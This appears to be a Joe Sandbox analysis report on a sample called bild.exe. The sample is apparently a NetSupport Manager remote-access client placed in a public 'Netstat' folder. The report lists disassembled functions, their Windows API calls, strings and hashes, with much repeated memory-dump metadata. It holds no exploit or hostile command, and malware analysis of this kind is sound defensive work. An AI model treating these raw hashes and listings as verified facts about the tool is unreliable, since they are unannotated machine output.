Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InfoMoveParametersSystemTimerWindow
String ID: Max
API String ID: 1521622399-2772132969
Opcode ID: dd270aeb1ce9957f205ba7153b0c8123e734f44cde7feed230d9f6d1d20fe2b6
Instruction ID: cbc035c590c08491bc6b7e29ca505f880cfdd662cf6ac53e8412c44867f4f71a
Opcode Fuzzy Hash: dd270aeb1ce9957f205ba7153b0c8123e734f44cde7feed230d9f6d1d20fe2b6
Instruction Fuzzy Hash: EA2130B5A40309AFD714CFA4C885FAFF7B8FB48714F10452EE95597380CA70A941CBA0

Function 110ED0F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110ED118

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

IsWindow(hRich), xrefs: 110ED129
lpNmHdr!=0, xrefs: 110ED103
..\CTL32\NSWin32.cpp, xrefs: 110ED0FE, 110ED124

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)$lpNmHdr!=0
API String ID: 2577986331-1331251348
Opcode ID: 0130043435edc3a22456987cf30c2144a781c09618dcf41b74824cb74998b838
Instruction ID: a6e56e2616b3f757a7bedb7841b960acd04ffc41865bfa7298ab7df9715bb4c1
Opcode Fuzzy Hash: 0130043435edc3a22456987cf30c2144a781c09618dcf41b74824cb74998b838
Instruction Fuzzy Hash: 85F02735F02126BBC6228E579C09F8EB378CF90BACF0200A4F81C26140E734B51082D5

Function 11061140 Relevance: 6.1, APIs: 4, Instructions: 131registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4
RegEnumValueA.ADVAPI32(?,00000001,?,00000080,00000000,?,?,00000480), ref: 110612C3
RegCloseKey.ADVAPI32(?), ref: 110612D4

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EnumValue$CloseOpen
String ID:
API String ID: 3785232357-0
Opcode ID: 7715bebcec98b19269c8f2ceb66aa64331a88d71416ba02ead887a332bffef31
Instruction ID: e119b506798adee895546c353bca4cd72f80153627c59e78ac85c5ed933e93b3
Opcode Fuzzy Hash: 7715bebcec98b19269c8f2ceb66aa64331a88d71416ba02ead887a332bffef31
Instruction Fuzzy Hash: 14412CB190061E9EDB20CB54CC84FDBBBBDAB89305F0045D9E649D7141EA70AA98CFA0

Function 110291D0 Relevance: 6.1, APIs: 4, Instructions: 104sleepthreadwindowCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,11027030,00000000,00000000,111ED468), ref: 110291F3
Sleep.KERNEL32(00000032,?,1102A9A3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 11029212
PostThreadMessageA.USER32(00000000,00000500,00000000,00000000), ref: 11029234
Sleep.KERNEL32(00000032,?,1102A9A3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 1102923C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: SleepThread$CreateMessagePost
String ID:
API String ID: 3347742789-0
Opcode ID: 7f55f862f45cabdbc49d2828a68d0c06d0eeafcbd3f137c249c1e94448b790d1
Instruction ID: 6c329cfe7713c70c74540dd837a6755ec0a493dd99a0e0f492d5b7c5eaff94cf
Opcode Fuzzy Hash: 7f55f862f45cabdbc49d2828a68d0c06d0eeafcbd3f137c249c1e94448b790d1
Instruction Fuzzy Hash: E831D476D42230ABD602DBDCCC80FAABBA8A755758F914134F9395B6C8D6717805CBD0

Function 110B3340 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,A1BC2D8B,?,?,00000000,00000000,00000000,Function_00182078,000000FF,?,1103D571,?,A1BC2D8B,?,?,00000000), ref: 110B336F
LeaveCriticalSection.KERNEL32(0000002C,?,1103D571,?,A1BC2D8B,?,?,00000000,?,00000015,00000000), ref: 110B338E
SetEvent.KERNEL32(?,?,?,1103D571,?,A1BC2D8B,?,?,00000000,?,00000015,00000000), ref: 110B33D4
LeaveCriticalSection.KERNEL32(0000002C,?,?,1103D571,?,A1BC2D8B,?,?,00000000,?,00000015,00000000), ref: 110B33DB

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: e042a88a3925eb2d51153c2a6544309ecf0762f38e12571a01f1b65a48f17828
Instruction ID: 2836c68be1e173ca97a40bbc94208784cbdba460b006acea4806f33579668287
Opcode Fuzzy Hash: e042a88a3925eb2d51153c2a6544309ecf0762f38e12571a01f1b65a48f17828
Instruction Fuzzy Hash: 6221DF76A087089FD315CFA8D884B9AF7E8FB4C715F008A2EE816C7640DB79B404CB94

Function 110071A5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 110072F7
SetFocus.USER32(?), ref: 11007353

Strings

edit, xrefs: 110072F1

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: 9ab5e62bba32fe41a4b3d3dad999fb9395a40b928699cb569382db604b8d03bd
Instruction ID: cb86e9af08271205595a6f41abc8b2cb286fac045a185d6d6013f354b30fec65
Opcode Fuzzy Hash: 9ab5e62bba32fe41a4b3d3dad999fb9395a40b928699cb569382db604b8d03bd
Instruction Fuzzy Hash: 8951B1B6A00606AFE741CF64CC80BABB7E5FB88354F15816DF955C7340EB34E9428B61

Function 110091F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11009265
_memmove.LIBCMT ref: 110092B6

Part of subcall function 11008D50: std::_Xinvalid_argument.LIBCPMT ref: 11008D6A

Strings

string too long, xrefs: 11009260

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 1f1b424e40fb871dbeacd2805d2b31d3ae09b279eb3827a2ae8406d4573c0ed5
Instruction ID: 8571876bfdcccba51c928a6a288fcd5c1e124ad980ef247a8f71a2e078b75a0c
Opcode Fuzzy Hash: 1f1b424e40fb871dbeacd2805d2b31d3ae09b279eb3827a2ae8406d4573c0ed5
Instruction Fuzzy Hash: A731C732B14A104BF720DE9CE88095FF7EDEBE57A4B20061FE599C7640E7719C5083A1

Function 11041350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 11041413
__CxxThrowException@8.LIBCMT ref: 11041421

Strings

VolumeControl exception : %hs, xrefs: 11041431

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: VolumeControl exception : %hs
API String ID: 3728558374-910296547
Opcode ID: 118abbde1ebe4424435f64918357d89c4207cb987e7db87aca0e3b34d3970159
Instruction ID: 3351f46422f9e7833a0dd597507e069f064f33e0319a204fc915276dbd9183a5
Opcode Fuzzy Hash: 118abbde1ebe4424435f64918357d89c4207cb987e7db87aca0e3b34d3970159
Instruction Fuzzy Hash: A721E775F006059FCF01CF65C890BFEF7E8EB49609FA085A9E81697A40DB35B904CBA1

Function 111471A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Netstat\bild.exe,00000104,?,11143E73,?), ref: 11143C49

_memmove.LIBCMT ref: 11147211

Strings

Failed to get callstack, xrefs: 111471BD

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess_memmove
String ID: Failed to get callstack
API String ID: 4135527288-766476014
Opcode ID: 63529710b4138f6f81ad4f3080514690bdb2b876b6fb0115b81c75db0389a908
Instruction ID: 4fb2fbc616631b5574b6180649b942946bf04768c5170edb731833e4cde01d29
Opcode Fuzzy Hash: 63529710b4138f6f81ad4f3080514690bdb2b876b6fb0115b81c75db0389a908
Instruction Fuzzy Hash: D3219875A0011D9BCB14DF64DD94BAEB3B9EF8871CF1041AAEC0DA7240DB31AE54CB90

Function 110D1370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\NSMString.cpp, xrefs: 110D13AE
pszBuffer[1024]==0, xrefs: 110D13B3

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 7dd045176ee68b653aa13a97f0e759d1521d44633953b37ee1248efe406da090
Instruction ID: 95fe0cd820de1796fd70713afb7a02e85a0165c228f84a05359d3cb2f5b90ec5
Opcode Fuzzy Hash: 7dd045176ee68b653aa13a97f0e759d1521d44633953b37ee1248efe406da090
Instruction Fuzzy Hash: 4FF0A47AA0025CBBCB00DEA5DD40BEEFBBD9B45248F044199E608A7140DE706A45C7A5

Function 11029170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00000000,11026ED0,00000000,00000000,00000000), ref: 110291BE

Strings

Bridge, xrefs: 1102918C
*TapiFixPeriod, xrefs: 11029187

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateThread__wcstoi64
String ID: *TapiFixPeriod$Bridge
API String ID: 1152747075-2058455932
Opcode ID: 455249c5f577f5bc371cc96f4979fefb060ee84a49910c717fadbdf2b24322f5
Instruction ID: bf80e38bc05b38b2fab7e3f27e0d367de778c9bee9065702c43ca09430eaf323
Opcode Fuzzy Hash: 455249c5f577f5bc371cc96f4979fefb060ee84a49910c717fadbdf2b24322f5
Instruction Fuzzy Hash: 60F0E57074532D7EFB11DAD6CC45F79B6989300B08FA0003DF528551C8E6B1B9008766

Function 11001080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010B7

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001091
m_hWnd, xrefs: 11001096

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: 870a264c4857fd7c20b43c7043125336c03270db109b755264ed45be6d9d6118
Instruction ID: 77f34a7b6d351dc7c2bdf78fd4e91b5ab9e9d0feae3f5383371c0572f9fc60e5
Opcode Fuzzy Hash: 870a264c4857fd7c20b43c7043125336c03270db109b755264ed45be6d9d6118
Instruction Fuzzy Hash: 98E01ABA71025DBFD714CE95EC81EE7B3ACEB48364F008529FA2997640D6B0E85087A1

Function 11001040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001073

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001051
m_hWnd, xrefs: 11001056

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
